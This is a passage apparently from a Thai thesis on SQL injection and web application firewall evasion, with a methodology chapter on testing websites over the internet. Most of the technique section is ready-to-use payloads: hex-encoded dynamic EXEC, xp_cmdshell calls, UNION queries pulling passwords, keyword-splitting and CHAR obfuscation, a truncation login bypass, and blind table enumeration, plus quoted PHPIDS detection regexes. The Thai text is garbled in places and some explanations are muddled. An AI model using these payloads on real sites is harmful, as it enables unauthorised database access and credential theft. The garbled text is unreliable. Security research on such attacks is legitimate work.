SELECT SUBSTRING('CAST and CONVERT', 1, 4) 
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Returned result: CAST  
Code: 
SELECT CAST('CAST and CONVERT' AS char(4)) 

 
Returned result: CAST 

Code: 
SELECT CONVERT(varchar,'CAST',1) 

 

Returned result: CAST 
 

หมายเหตุ: จะเห็นวาท้ัง SUBSTRING และ CAST Keyword ใชงานเหมือนกัน ดังนั้นสามารถใช
มันเพื่อ blind SQL Injection  สามารถลองทดสอบโดยคําส่ังนี้ 

 
 ตอจากนี้ไปการใช CONVERT and CAST เพื่อตรวจสอบโดยใชคําส่ัง SQL ดังตอไปนี้
เพื่อตรวจหา SQL Database version โดยใช CAST and CONVERT 
0x1 - Identify the query to execute: 
 

Code: 
SELECT @@VERSION 

 
0x2 - Construct the query based on keywords CAST and CONVERT: 

Code: 
SELECT CAST('SELECT @@VERSION' AS VARCHAR(16)) 

 
OR 

Code: 
SELECT CONVERT(VARCHAR,'SELECT @@VERSION',1) 
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0x3 - Execute the query using the keyword EXEC: 
Code: 
SET @sqlcommand =  SELECT CONVERT(VARCHAR,'SELECT @@VERSION',1) 
 
EXEC(@sqlcommand) 

 
OR convert first the SELECT @@VERSION to Hex 

Code: 
SET @sqlcommand 
=  (SELECT CAST(0x53454C45435420404076657273696F6E00 AS VARCHAR(34)) 
 
EXEC(@sqlcommand) 

 
หมายเหตุ:  จะเห็นแลววาการใช CAST and CONVERT นั้น  ขอมูลท่ีถูกเก็บไวใน CAST คือ 

เลขฐานสิบหก อยูในรูปแบบของ Varchar 
 
 นอกจากนี้ยังสามารถใช CAST and CONVERT เพื่อทําการปอนขอมูลในการโจมตี 
โดยสามารถเปล่ียนแปลงการเขารหัสขอมูล และสรางชุดคําส่ังท่ีซับซอน จะเปนประโยชนอยางดี 
 

Code: 
CAST(CAST(PAYLOAD IN HEX, VARCHAR(CHARACTER LENGTH OF PAYLOAD)),, 
VARCHAR(CHARACTER LENGTH OF TOTAL PAYLOAD) 
 
 Dynamic Query Execution 

 ฐานขอมูลสวนใหญจะอนุญาตใหใชงาน Dynamic Query โดยการสง String ท่ีมี
ชุดคําส่ัง SQL อยูในนั้น ไปยังฐานขอมูล ถาพบการปอนขอมูล SQL ท่ีถูกตองแลว และพบวา 
แอพลิเคช่ันไหนท่ีใชในการตรวจจับหรือปองกันการใชงานนั้นๆ สามารถใช Dynamic Execution 
ในการหลบหลีกการตรวจจับแตละฐานขอมูลจะมี dynamic query execution ท่ีแตกตางกันออกไป
บน Microsoft SQL Server สามารถใชฟงกช่ัน Exec ในการประมวลผลชุดคําส่ังในรูปแบบ String  
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 ตัวอยางเชน : 
 

Code: 
'EXEC xp_cmdshell ‘dir’; — Or 'UNION EXEC xp_cmdshell ‘dir’; — 

 

หมายเหตุ:  ฟงกช่ันการใช EXEC ท่ีสามารถระบุวิธีการจัดเก็บท่ีใชงานในฐานขอมูลท้ังหมด และ 
สามารถใหสิทธิ ในการจัดเก็บขอมูลดวย 

 

 ใน Oracle, สามารถใช คําส่ัง EXECUTE IMMEDIATE เพื่อใชงานในรูปแบบ String 
 ตัวอยางเชน: 

 

Code: 
DECLARE pw VARCHAR2(1000); 
BEGIN 
       EXECUTE IMMEDIATE 'SELECT password FROM tblUsers' INTO pw; 
       DBMS_OUTPUT.PUT_LINE(pw); 
END; 

 
หมายเหตุ:  สามารถกระทําโดยสวนหนึ่งหรือท้ังหมดไดเลยพรอมกัน โดยคําส่ังอ่ืนๆ สามารถสง

รวมกันไดภายใตชุดคําส่ังเดียวกันไดเลย 
 

 ประเภทการโจมตีแบบ SQL Injection นั้น สามารถกระทําผาน Web Application อยาง
ท่ีเห็นวาชุดคําส่ังสามารถแยกโดย semicolon เพื่อทําการสงไปยัง database ตัวอยางเชน MSSQL
 ยกตัวอยางเชนใน MSSQL  
 

Code: 
SET @MSSQLVERSION  = SELECT @@VERSION; EXEC (@MSSQLVERSION); -- 

 
หมายเหตุ:  เทากับชุดคําส่ังเดียวกันสามารถใชงานไดกับหลายๆ Web Application  
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 ฐานขอมูลใหวิธีการตางๆ ในการจัดการกับ String และกุญแจสําคัญท่ีจะดําเนินการโดย
ใช Dynamic execution ปอนขอมูล โดยการเปล่ียนแปลงคา String เพื่อใหผานการตรวจจับ โดย 
String นั้นๆ จะเก็บชุดคําส่ังไวในตัวมันเองดวย ตัวอยางงายๆ คือสามารถใช String แยกออกเปน
สวนยอยๆ เพราะ ฐานขอมูลแตละที่จะใช Syntax ท่ีแตกตางกันออกไป  
 ตัวอยางเชนถา SQL เลือกคําหลักถูกบล็อกสามารถสรางดังนี ้
 

Oracle:  
Code: 
'SEL'||'ECT' 

 
MS-SQL:  

Code: 
'SEL'+'ECT' 

 
MySQL:  

Code: 
'SEL' 'ECT' 

 
Further examples of this SQL obfuscation method would be: 
Oracle:  

Code: 
UN’||’ION SEL'||'ECT NU’||’LL FR’||’OM DU’||’AL-- 

 
MS-SQL:  

Code: 
' un’+’ion (se’+’lect @@version) -- 

 
MySQL:  

Code: 
' SE’’LECT user(); # 
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 โปรดทราบวา SQL Server ใชเคร่ืองหมาย + สําหรับการเรียงตอกันในขณะท่ี MySQL 
ใชพื้นท่ี หากกําลังสงคาเหลานี้ในไปยัง HTTP ก็จะตองใช URL Encode มัน เชน %2band%20 
ตามลําดับ จากนี้ไปสามารถสราง individual character ในรูปแบบ CHAR (CHR ใน Oracle) โดยใช 
ASCII Code ตัวอยางเชนการสรางเลือก Keyword ใน SQL Server สามารถใช: 
 

Code: 
CHAR(83)+CHAR(69)+CHAR(76)+CHAR(69)+CHAR(67)+CHAR(84) 

 

หมายเหตุ:   Firefox มี plug-in ท่ีเรียกวา Hackbar ท่ีกระทําการโดยอัตโนมัติ (มีใชมาเปนเวลานาน
แลว) สามารถสรางอักขระโดยใช รูปแบบ quotation mark ถาหากถูกปองกันจาก
ตรวจจับ quotation mark นั้น สามารถใชรูปแบบของ CHAR เพื่อแทนท่ี String  (เชน 
'admin') ลงไปใน exploit ก็ไดฟงกช่ันการจัดการของ String อ่ืนๆ อาจเปนประโยชน
เชนกัน ยกตัวอยางเชนมีฟงกช่ัน REVERSE, TRANSLATE, REPLACE และ 
SUBSTR  วิธีอ่ืนๆ ท่ีจะสราง String สําหรับ Dynamic execution บน SQL Server นั้น
สามารถทําไดโดยผาน String ในรูปแบบ String ASCII Code ดังเชนตัวอยาง 

 
Code: 
SELECT password FROM tblUsers 

 
สามารถสรางแบบไดนามิกและการดําเนนิการดังตอไปนี้: 

Code: 
DECLARE @query VARCHAR(100) 
      SELECT @query = 0x53454c4543542070617373776f72642046524f4d2074626c5573657273 
EXEC(@query) 

 

หมายเหตุ: รูปแบบ SQL Injection สวนใหญ จะถูกใชงานกับ Web Application โดยเร่ิมข้ึนเม่ือป 
2008 โดยเทคนิคนี้ถูกนํามาใชเพื่อลดการตรวจจับจาก input filter ของ application  
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 Null Bytes 
 บอยคร้ังท่ีตัวตรวจจับ SQL Injection จะใชถูกติดต้ังข้ึนแยกออกจากโปรแกรม เชน 

ระบบการตรวจจับการบุกรุก (IDSs) หรือ Wafs เพื่อเหตุผลดานประสิทธิภาพองคประกอบเหลานี้
จะถูกเขียนโดยท่ัวไปในภาษาโปรแกรม เชน C ++ ในสถานการณเชนนี้คุณจะสามารถใชการโจมตี
แบบ Null byte เพื่อหลีกเล่ียงการตรวจจับเพื่อสง exploit ไปยัง application ได 

 การโจมตีแบบ null byte จะใชงานไดดีเนื่องจากการทํางานท่ีแตกตางกันของ null byte 
จะใชคําส่ังท่ัวไป ท่ีเปนพื้นฐานอยูแลว ความยาวของ String จะถูกกําหนดโดยตําแหนงของ null 
byte, null byte มีความสามารถในการหยุดการใชงาน String โดยชุดคําส่ังการจัดการของมันเอง 
โดย String object สามารถสราง array โดยท่ีใน array นั้นๆ มี null byte อยูดวย ในชุดคําส่ัง String 
นั้น เม่ือมีการประมวลผลและมีการตรวจจับ มันจะสามารถหยุดการประมวลผลโดยใช null byte ได 
เพราะวาผลลัพธของมันก็จะเทากับการหยุดการประมวลผลโดยการดักจับ แตการตรวจจับของ null 
byte นั้นจะถูกจัดอยูแค benign ตัว filter จะไมทําการ block input นั้นๆ 

 อยางไรก็ตามเม่ือการปอนขอมูลชุดเดียวกันถูกประมวลผลโดย Application ในการ
จัดการของ Code นั้นๆ การปอนขอมูลแบบ null byte ดังตอไปนี้จะสามารถทํางานได และยัง
อนุญาตให ใชงาน exploit ไดอีกดวย โดยการใชงาน null byte นั้นตองใช URL-encode null byte 
กอน character ท่ีจะถูก Block เชนตัวอยาง สามารถใชงานชุดคําส่ังของ String ไดดังนี้ 

 
Code: 
' UNION SELECT password FROM tblUsers WHERE username='admin'-- 

 
หมายเหตุ:  เม่ือการเขาถึงชองวางของ database ได  null byte จะสามารถใชงานไดเทียบกับ ชุดคําส่ัง 

SQL 
 

 Nesting Stripped Expressions 
 การตรวจจับบางชนิดจะทําการด ูcharacter และ expression จากขอมูลท่ีปอนเขามา และ 
ประมวลผล ถา expression บางตัวมีการใสท่ีมีขอมูลมากกวา 2 ข้ึนไปและการตัวตรวจจับไม
สามารถทํางานไดอยางตอเนื่อง สามารถเล่ียงการตรวจจับนั้นๆ โดยหามให expression นั้นๆ โดย
ตัวมันเอง 
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 ตัวอยาง เชน ถา คําส่ัง SQL SELECT ถูกตรวจสอบการปอนขอมูล สามารถใชคําส่ัง
ดานลางนี้เพื่อหลีกเล่ียงมัน 
 

Code: 
SELSELECTECT 
 

หมายเหตุ: จะเห็นไดวาการหลบหลีกการตรวจจับนัน้เปนไปได 
 

 Truncation  
 บอยคร้ังการตรวจจับจะมีการจัดการบนตัวขอมูลของ user เอง และในวิธีการหนึ่งใน
นั้นคือ ตรวจจับท่ี จํานวนตัวอักษร และเพื่อเปนการปองกันการ โจมตีแบบ Buffer overflow หรือ 
จุดประสงคเพื่อกําหนด จํานวนตัวอักษรสูงสุดท่ีจะนํามาใชใน Log in Function ตัวอยาง ชุดคําส่ัง 
SQL ท่ีมีการปอนขอมูลโดยมีการเลือกคามากกวาหนึ่ง 
  

Code: 
SELECT uid FROM tblUsers WHERE username = 'jlo' AND password = 'r1Mj06' 

 
 สมมุติวา โปรแกรมมีการใชงานการตรวจจับแบบนี้ ใหทําตามข้ันตอนดังกลาวใช 
double up quotation mark แทนที่ Single quote ( ') โดย two single quote ( ") และแยกอักษร
ออกเปน 16 ตัว ถามีชุดคําส่ัง SQL Injection แบบน้ี 
 

Code: 
admin'-- 

 
ชุดคําส่ังจะถูกนําข้ึนมาใช และการโจมตีจะลมเหลว: 

Code: 
SELECT uid FROM tblUsers WHERE username = 'admin''--' AND password = '' 
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 The double-up quote คือการท่ีปอนขอมูลผิดในการใส username โดยท่ีการตรวจสอบ
จะตรวจสอบในแตละตัวอักษรท่ีคุณมี อยางไรก็ตามถาแทนท่ีมันดวย username aaaaaaaaaaaaaaa 
โดยมี อักษร a ท้ังหมด 15 ตัวอักษร และ 1 quotation mark  ตัวโปรแกรมจะทําการ double up quote 
ใหจะเปนท้ังส้ิน 17 ตัวอักษร และโปรแกรม จะทําการตัด additional quote ออก 1 ตัว ทําใหเหลือ 
16 ตัวอักษร นี่ทําใหสามารถลักลอบนํา quotation mark ปอนเขาไปใน ชุดคําส่ังได 
 

Code: 
SELECT uid FROM tblUsers WHERE username = 'aaaaaaaaaaaaaaa'' AND password = '' 

 

หมายเหตุ: การโจมตีดังกลาวนั้นจะมีผลลัพธออกมาเปน error เพราะ ตัวอักษรไมไดจบดวย String 
 แตละคูของ quote นั้น จะตามดวย อักษร a เพื่อ แทนตัวเองแปน escape quote จึงทําให

ไมมีตัว final quote ไปการกําหนดตัวสุดทายของ username String อยางไรก็ตามยังมี
ขอมูลชุดท่ี 2 ท่ีตองกรอกคือ password สามารถกรอกชุดคําส่ังใหถูกตอง และ ผานการ 
Login ไปไดโดยให password ดังนี้ 

 
Code: 
or 1=1-- 

 
ซ่ึงทําใหแอปพลิเคช่ันทําตามคํารองขอตอไปนี:้ 

Code: 

SELECT uid FROM tblUsers WHERE username = 'aaaaaaaaaaaaaaa'' AND password = 'or 1=1--' 

 
เม่ือฐานขอมูลรันแบบสอบถามน้ี จะตรวจสอบสําหรับทางเขาตารางวาช่ือผูใชงานท่ีแทจริงคือ:  

Code: 
aaaaaaaaaaaaaaa' AND password = 

 
 ซ่ึงสันนิษฐานวาเปนเท็จเสมอหรือท่ี 1 = 1 ซ่ึงเปนจริงเสมอ ดังนั้น แบบสอบถามจะ
กลับมาท่ี UID ของผูใชงานทุกคนในตาราง สวนมากจะกอใหเกิดการประยุกตเขาใชงานคร้ังแรกใน
ตาราง เพื่อเขาสูระบบในฐานะผูใชเฉพาะ (e.g., with UID 0), คุณจะใสรหัสผานเชนตอไปนี้: 
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Code: 
or uid=0-- 

 

หมายเหตุ:  แบบสอบถามน้ีจะถือเปนเทคนิคเกามากใชสําหรับการรับรองความถูกตองบายพาส
หรือการเพิ่มสิทธ์ิ 
 
 2.6.4 More Advanced 
   Regexp Based WAF 
 

Code: 
(?:\)\s*when\s*\d+\s*then)|(?:"\s*(?:#|--
|{))|(?:\/\*!\s?\d+)|(?:ch(?:a)?r\s*\(\s*\d)|(?:(?:(n?and|x?or|not)\s+|\|\||\&\&)\s*\w+\() 
(?:[\s()]case\s*\()|(?:\)\s*like\s*\()|(?:having\s*[^\s]+\s*[^\w\s])|(?:if\s?\([\d\w]\s*[=<>~]) 
(?:"\s*or\s*"?\d)|(?:\\x(?:23|27|3d))|(?:^.?"$)|(?:(?:^["\\]*(?:[\d"]+|[^"]+"))+\s*(?:n?and|x?or|not|\|\|
|\&\&)\s*[\w"[+&!@(),.-])|(?:[^\w\s]\w+\s*[|-] 
\s*"\s*\w)|(?:@\w+\s+(and|or)\s*["\d]+)|(?:@[\w-
]+\s(and|or)\s*[^\w\s])|(?:[^\w\s:]\s*\d\W+[^\w\s]\s*".)|(?:\Winformation_schema|table_name\W) 
(?:"\s*\*.+(?:or|id)\W*"\d)|(?:\^")|(?:^[\w\s"-
]+(?<=and\s)(?<=or\s)(?<=xor\s)(?<=nand\s)(?<=not\s)(?<=\|\|)(?<=\&\&)\w+\()|(?:"[\s\d]*[^\w\s
]+\W*\d 
\W*.*["\d])|(?:"\s*[^\w\s?]+\s*[^\w\s]+\s*")|(?:"\s*[^\w\s]+\s*[\W\d].*(?:#|--
))|(?:".*\*\s*\d)|(?:"\s*or\s[^\d]+[\w-]+.*\d)|(?:[()*<>%+-][\w-]+[^\w\s] 
+"[^,]) 
(?:\d"\s+"\s+\d)|(?:^admin\s*"|(\/\*)+"+\s?(?:--|#|\/\*|{)?)|(?:"\s*or[\w\s-]+\s*[+<>=(),-
]\s*[\d"])|(?:"\s*[^\w\s]?=\s*")|(?:"\W*[+=]+\W*")|(?:"\s*[!=|] 
[\d\s!=+-
]+.*["(].*$)|(?:"\s*[!=|][\d\s!=]+.*\d+$)|(?:"\s*like\W+[\w"(])|(?:\sis\s*0\W)|(?:where\s[\s\w\.,-
]+\s=)|(?:"[<>~]+") 
(?:union\s*(?:all|distinct|[(!@]*)?\s*[([]*\s*select)|(?:\w+\s+like\s+\")|(?:like\s*"\%)|(?:"\s*like\
W*["\d])|(?:"\s*(?:n?and|x?or|not |\|\||\&\&)\s+[\s 
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\w]+=\s*\w+\s*having)|(?:"\s*\*\s*\w+\W+")|(?:"\s*[^?\w\s=.,;)(]+\s*[(@"]*\s*\w+\W+\w)|(?:sel
ect\s*[\[\]()\s\w\.,"-]+from)|(?:find_in_set\s*\() 
(?:in\s*\(+\s*select)|(?:(?:n?and|x?or|not 
|\|\||\&\&)\s+[\s\w+]+(?:regexp\s*\(|sounds\s+like\s*"|[=\d]+x))|("\s*\d\s*(?:--
|#))|(?:"[%&<>^=]+\d\s*(=| 
or))|(?:"\W+[\w+-]+\s*=\s*\d\W+")|(?:"\s*is\s*\d.+"?\w)|(?:"\|?[\w-
]{3,}[^\w\s.,]+")|(?:"\s*is\s*[\d.]+\s*\W.*") 
(?:[\d\W]\s+as\s*["\w]+\s*from)|(?:^[\W\d]+\s*(?:union|select|create|rename|truncate|load|alter|de
lete|update|insert|desc) )|(?:(?:select|create|rename| 
truncate|load|alter|delete|update|insert|desc)\s+(?:(?:group_)concat|char|load_f 
ile)\s?\(?)|(?:end\s*\);)|("\s+regexp\W)|(?:[\s(]load_file\s*\() 
(?:@.+=\s*\(\s*select)|(?:\d+\s*or\s*\d+\s*[\-
+])|(?:\/\w+;?\s+(?:having|and|or|select)\W)|(?:\d\s+group\s+by.+\()|(?:(?:;|#|--
)\s*(?:drop|alter))|(?: 
(?:;|#|--)\s*(?:update|insert)\s*\w{2,})|(?:[^\w]SET\s*@\w+)|(?:(?:n?and|x?or|not 
|\|\||\&\&)[\s(]+\w+[\s)]*[!=+]+[\s\d]*["=()]) 
(?:"\s+and\s*=\W)|(?:\(\s*select\s*\w+\s*\()|(?:\*\/from)|(?:\+\s*\d+\s*\+\s*@)|(?:\w"\s*(?:[-
+=|@]+\s*)+[\d(])|(?:coalesce\s*\(|@@\w+\s*[^\w\s])|(?:\W! 
+"\w)|(?:";\s*(?:if|while|begin))|(?:"[\s\d]+=\s*\d)|(?:order\s+by\s+if\w*\s*\()|(?:[\s(]+case\d*\W.
+[tw]hen[\s(]) 
(?:(select|;)\s+(?:benchmark|if|sleep)\s*?\(\s*\(?\s*\w+) 
(?:create\s+function\s+\w+\s+returns)|(?:;\s*(?:select|create|rename|truncate|lo 
ad|alter|delete|update|insert|desc)\s*[\[(]?\w{2,}) 
(?:alter\s*\w+.*character\s+set\s+\w+)|(";\s*waitfor\s+time\s+")|(?:";.*:\s*goto) 
(?:procedure\s+analyse\s*\()|(?:;\s*(declare|open)\s+[\w-
]+)|(?:create\s+(procedure|function)\s*\w+\s*\(\s*\)\s*-)|(?:declare[^\w]+[@#]\s*\w+)|(exec\s*\ 
(\s*@) 
(?:select\s*pg_sleep)|(?:waitfor\s*delay\s?"+\s?\d)|(?:;\s*shutdown\s*(?:;|--|#|\/\*|{)) 
(?:\sexec\s+xp_cmdshell)|(?:"\s*!\s*["\w])|(?:from\W+information_schema\W)|(?:(?:(?:current_)?
user|database|schema|connec tion_id)\s*\([^\)]*)|(?:";? 
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\s*(?:select|union|having)\s*[^\s])|(?:\wiif\s*\()|(?:exec\s+master\.)|(?:union select 
@)|(?:union[\w(\s]*select)|(?:select.*\w?user\()|(?:into[\s+]+ 
(?:dump|out)file\s*") 
(?:merge.*using\s*\()|(execute\s*immediate\s*")|(?:\W+\d*\s*having\s*[^\s\-
])|(?:match\s*[\w(),+-]+\s*against\s*\() 
(?:,.*[)\da-
f"]"(?:".*"|\Z|[^"]+))|(?:\Wselect.+\W*from)|((?:select|create|rename|truncate|load|alter|delete|up 
date|insert|desc)\s*\(\s*space\s*\() 
(?:\[\$(?:ne|eq|lte?|gte?|n?in|mod|all|size|exists|type|slice|or)\]) 
(?:(sleep\((\s*)(\d*)(\s*)\)|benchmark\((.*)\,(.*)\))) 
(?:(union(.*)select(.*)from)) 
(?:^(-0000023456|4294967295|4294967296|2147483648|2147483647|0000012345|-2147483648|-
2147483649|0000023456|2.2250738585072007e-308|1e309)$) 
 

 Regular expressions บางสวนท่ีใชใน PHPIDS 0.7. 
 

 NULL Alias 
 ใน MySQL คา NULL สามารถเขียนเปน \N (case-sensitive) ซ่ึง \n จะไมไดหมายถึง 
NULL ในท่ีนี้หมายถึง WAF ท่ีใช "to_lower" ในคําส่ังของผูใชและมองหา "null" จะไมพบในกรณี
นี้ 
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 Floating Point 
 

Code: 
digits 
digits[.] 
digits[.]digits 
digits[eE]digits 
digits[eE][+-]digits 
digits[.][eE]digits 
digits[.]digits[eE]digits 
digits[.]digits[eE][+-]digits 
[.]digits 
[.]digits[eE]digits 
[.]digits[eE][+-]digits 

 

 Optional เร่ิมดวย [+-] 
 

Exception: 1. AND 2 (ไมมีชองวางระหวาง "1." กับ "AND") ตัววิเคราะหบางตัวยอม และในบาง
ตัวไมยอมรับ. 1e1 vs. 1e1.0 ? ไมถูกระบุไว 

 

Hexadecimal Literals 
Code: 
0xDEADbeef 

 0x เปน case sensitive. 
 

Binary Literals 
Code: 
b'10101010' 

 
Code: 
0b010101 
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 C-Style String Merging 
C-Style strings ท่ีตอเนื่องกัน ถูกรวมเขาเปนหนึ่งเดียว 

Code: 
SELECT 'foo' "bar"; 

 

Ad-Hoc Charset 
Code: 
_charset'....' 
_latin1'.....' 
_utf8'....' 

 

 Operators 
 !=, <=> 
 

 Expression 
 ใชสวนขยายของคํารองขอท่ัวไปของ "OR 1=1". นอกเหนือจากน้ันยังใหตัวอักษร 
สามารถใชฟงกช่ัน: 
 COS(0) = SIN(PI()/2) 
 COS(@VERSION) = -SIN(@VERSION + PI()/2) 
 
"IN" lists 

Quote: 
WHERE id IN (1,2,3,4) 

 
 จะตองทําการสรางข้ึนเองโดยไมมี API หรือพารามิเตอรท่ีสัมพันธกับการสรางนี้ใน
แพลตฟอรมใดๆ หรือ framework หรือภาษา ซ่ึงไมมีความสอดคลองกัน ทางท่ีปลอดภัยเพ่ือทําเชนนี้ 
(นอกเหนือจากการรวมและตรวจสอบ) ยังไมถูกระบุไว 
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 Esp: 
Normal SQL Injection: 

Code: 
1 OR 1=1 

 

Normal SQL Injection โดยใช encapsulated data: 
Code: 
1' OR '1'='1 

 

 Blind SQL Injection จะโยน error เพ่ือตรวจสอบวา encapsulation ไมทํางาน โดย
เปาหมายในท่ีนี้คือการโยน error จะทําใหแอปพลิเคช่ันแสดงใหเห็นวา มีการ encapsulate quote ท่ี
ไมถูกตอง: 

Code: 
1'1 

 

Blind SQL Injection สราง error โดยใช EXEC: 
Code: 
1 EXEC SP_ (or EXEC XP_) 

 
 Blind SQL Injection detection (ผลท่ีไดจะไม เหมือนเดิมหากมีฟล เตอรอยู  ถ า 
ไมใส AND 1 = 1 ไป. หากวาไดผลท่ีเหมือนเดิมแสดงวาแอปพลิเคช่ันมีชองโหว): 

Code: 
1 AND 1=1 

 

 Blind SQL Injection สําหรับเขาถึง tablenames โดยการ brute force ซํ้าๆ ผานช่ือท่ีมี
ความเปนไปได (ซ่ึงจะตองเปล่ียนช่ือ tablenames ไปเร่ือยๆ จนกวาจะตรง): 
Code: 
1' AND 1=(SELECT COUNT(*) FROM tablenames); -- 
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 การหลบเล่ียงดวยเคร่ืองหมาย backslashes (ซ่ึงทําการหลอกแอปพลิเคช่ันดวยการจบ
คอมเมนท single quote ดวย single quote อีกอันโดยมี backslash กอนหนามันจะทําการจบ 
คอมเมนท single quote ท่ีถูกเพิ่มโดยฟลเตอรออก). ฟลเตอรประเภทนี้ถูกประยุกตใชดวย 
 

mySQL's mysql_real_escape_string() and PERL's DBD method $dbh->quote(): 
Code: 
\'; DESC users; -- 

 

ดานบนเปน Blind SQL Injection อ่ืนๆ ท่ีมุงหมายในการสราง error โดยใชวิธี backslash : 
Code: 
1\'1 

 

 สราง errors โดยทําการเรียกตารางปลอมซ่ึงชวยใหเปดเผยชองโหวของแอปพลิเคช่ัน 
โดยมุงท่ีจะสราง error จากการเรียกตารางซ่ึงไมมีอยู (ทดลองโดยมีและไมมี quote): 
 

Code: 
1' AND non_existant_table = '1 

 

 การแจกแจงชื่อตารางในฐานขอมูล โดยเปล่ียนแปลงตัวเลขท่ีตางกัน 116 ตัว ซ่ึง
สามารถใช logarithmic reduction ในการหาตัวอักษรแรกของช่ือตารางในฐานขอมูลไดหลังจากนั้น
วนซํ้าโดยผาน 1 ตัวแรก ใน 1, 1 จนสุดทายไดช่ือตารางท้ังหมดออกมา 
 

Code: 
1 AND 
ASCII(LOWER(SUBSTRING((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1
, 1))) > 116 

 
คนหาตาราง user supplied โดยใชตาราง sysObjects ใน SQL Server: 
Code: 
1 UNION ALL SELECT 1,2,3,4,5,6,name FROM sysObjects WHERE xtype = 'U' -- 
 



 

บทที ่3 
ระเบียบวธีิวจิยั 

 
3.1  แนวทางการวจัิยและพฒันา 
 การเจาะระบบเวบ็ไซตด์ว้ยเทคนิค SQL Injection นั้นเป็นช่องโหวท่ี่เกิดข้ึนมานานแลว้ 
อีกทั้งความรุนแรงก็ยงัอยู่ในระดบัสูง แต่เวบ็แอพพลิเคชัน่ท่ีถูกพฒันาให้ใช้งานไดใ้นปัจจุบนันั้น 
กลบัมีเป็นจ านวนไม่นอ้ยท่ียงัพบวา่มีช่องโหวป่ระเภทน้ีอยู ่
 วิธีการท่ีถูกตอ้งและดีท่ีสุดในการแก้ไขปัญหาช่องโหว่ประเภทน้ี คือ การออกแบบ
ระบบเวบ็แอพพลิเคชัน่ท่ีจ  าเป็นจะตอ้งเช่ือมต่อกบัระบบฐานขอ้มูล และตอ้งพฒันาซอร์สโคด้ของ
เวบ็แอพพลิเคชัน่นั้นๆ ให้มีความปลอดภยัมากท่ีสุดเท่าท่ีจะท าได ้แต่การท างานทั้งกระบวนการท่ี
กล่าวมาขา้งตน้นั้น อาจไม่สอดคลอ้งกบัปัจจยัในหลายๆ ดา้นอาทิเช่น ทรัพยากรระบบคอมพิวเตอร์
ทางดา้นฮาร์ดแวร์หรือซอฟตแ์วร์ไม่เพียงพอ ความรู้ความช านาญดา้นการรักษาความปลอดภยัของ
ผูพ้ฒันาเวบ็แอพพลิเคชัน่ ตลอดจนผูดู้แลระบบไม่ดีพอ ผูบ้ริหารตลอดจนเจา้หน้าท่ีท่ีรับผิดชอบ
ขาดความตระหนกัดา้นความมัน่คงปลอดภยัระบบคอมพิวเตอร์ ฯลฯ ซ่ึงท่ีกล่าวมาขา้งตน้นั้นเป็น
สาเหตุท่ีท าใหเ้กิดช่องโหวข่องระบบได ้
 ในส่วนการป้องกันภัยคุกคามท่ี เก่ียวข้องกับระบบเว็บแอพพลิเคชั่นนั้ น  Web 
Application Firewall (หรือท่ีเรียกกันย่อๆ ว่า “WAF”) ถูกออกแบบมาเพื่อปกป้องการคุกคามใน
ดา้นน้ีโดยเฉพาะ ซ่ึงปัจจุบนัก็มีทั้งท่ีเป็นฮาร์ดแวร์และซอฟตแ์วร์ ท่ีผูใ้ชง้านนั้นสามารถหามาใชง้าน
ได ้ซ่ึงก็มีทั้งแบบท่ีตอ้งมีค่าใชจ่้ายและก็มีแบบท่ีไม่ตอ้งเสียค่าใชจ่้ายดว้ยเช่นกนั 
 ในงานวิจยัน้ีจะได้ท าการทดสอบเจาะระบบเวบ็ไซต์ดว้ยเทคนิค SQL Injection แบบ 
Union Based เพื่อต้องการให้เห็นถึงระบบเว็บแอพพลิเคชั่นท่ีมีช่องโหว่ประเภทน้ีอยู่จริง และ
ทดสอบวา่รูปแบบของการเจาะระบบเวบ็ไซตด์ว้ยเทคนิค SQL Injection นั้นมีโอกาสท่ีจะหลุดลอด
จากการตรวจจบัของระบบรักษาความปลอดภยัในบางระบบได ้
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3.2  อุปกรณ์และเคร่ืองมือ 
 3.2.1  เคร่ืองคอมพิวเตอร์ Notebook ส าหรับติดตั้งซอฟตแ์วร์ ส าหรับใชท้ดสอบเจาะระบบ
เวบ็ไซต ์จ านวน 1 เคร่ือง 
 
System Manufacturer: MSI Inc. 
System Model: GE60 2PL Apache 
BIOS: Ver 1.00 BIOS A11PARTTBL 
Rating: 4.5 Windows Experience Index 
Processor: Intel(R) Core(TM) i7-4710HQ CPU @ 2.50GHz 2.50 GHz 
Memory: 8 GB. 
System type: 64-bit Operating System  
Display: NVIDIA GTX850M 
Hard Disk: 1 TB. 
 
 3.2.2  ซอฟตแ์วร์ส าหรับใชท้ดสอบเจาะระบบเวบ็ไซต ์ 
 VMWare Workstation 12 Pro 
 ระบบปฏิบติัการ Windows 8.1 Pro 
 Mozilla Firefox พร้อม Add-on Hackbar และ Live HTTP Header 
 
3.3  วเิคราะห์ระบบรักษาความปลอดภัยและทดสอบเจาะระบบเวบ็ไซต์ด้วยเทคนิค SQL Injection 
 ผูว้ิจยัได้ท าการทดสอบโดยใช้ช่องทางการเช่ือมต่อระบบเครือข่ายคอมพิวเตอร์ผ่าน
ระบบอินเตอร์เน็ตเท่านั้น อนัเน่ืองด้วยวิธีวิจยัท่ีตอ้งการจะทดสอบให้เห็นว่าระบบคอมพิวเตอร์ 
ทั่วๆ ไปนั้ นส่วนใหญ่ก็มักจะมีอุปกรณ์ รักษาความปลอดภัยอย่าง IDS/IPS, Packet Filtering 
Firewall, Stateful Inspection Firewall, Application Proxy หรือ Hybrid Firewall ติดตั้ งไวใ้นระบบ
เครือข่ายคอมพิวเตอร์และถูกวางขวางเคร่ืองคอมพิวเตอร์เวบ็เซิร์ฟเวอร์นั้นอยูแ่ลว้ 
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 รูปแบบการติดตั้งโครงสร้างระบบรักษาความปลอดภยัท่ีมี Firewall 
 

 
 
ภาพที ่3.1  โครงสร้างระบบรักษาความปลอดภยัท่ีมี Firewall 
 
 รูปแบบการติดตั้งโครงสร้างระบบรักษาความปลอดภยัท่ีมี Firewall และ IDS/IPS 
 

 
 
ภาพที ่3.2  โครงสร้างระบบรักษาความปลอดภยัท่ีมี Firewall และ IDS/IPS 
 
 รูปแบบการติดตั้ งโครงสร้างระบบรักษาความปลอดภัยท่ีมี Firewall, IDS/IPS และ 
Application Proxy 
 

 
 

ภาพที ่3.3  โครงสร้างระบบรักษาความปลอดภยัท่ีมี Firewall, IDS/IPS และ Application Proxy 
  
 ล าดบัแรกในการทดสอบหาช่องโหว ่SQL Injection นั้นจะตอ้งท าการตรวจสอบวา่เวบ็
แอพพลิเคชั่นนั้นมีการตรวจสอบค่าต่างๆ ท่ีจะรับอินพุตแล้วเกิดการเปล่ียนแปลงอย่างไร ให้
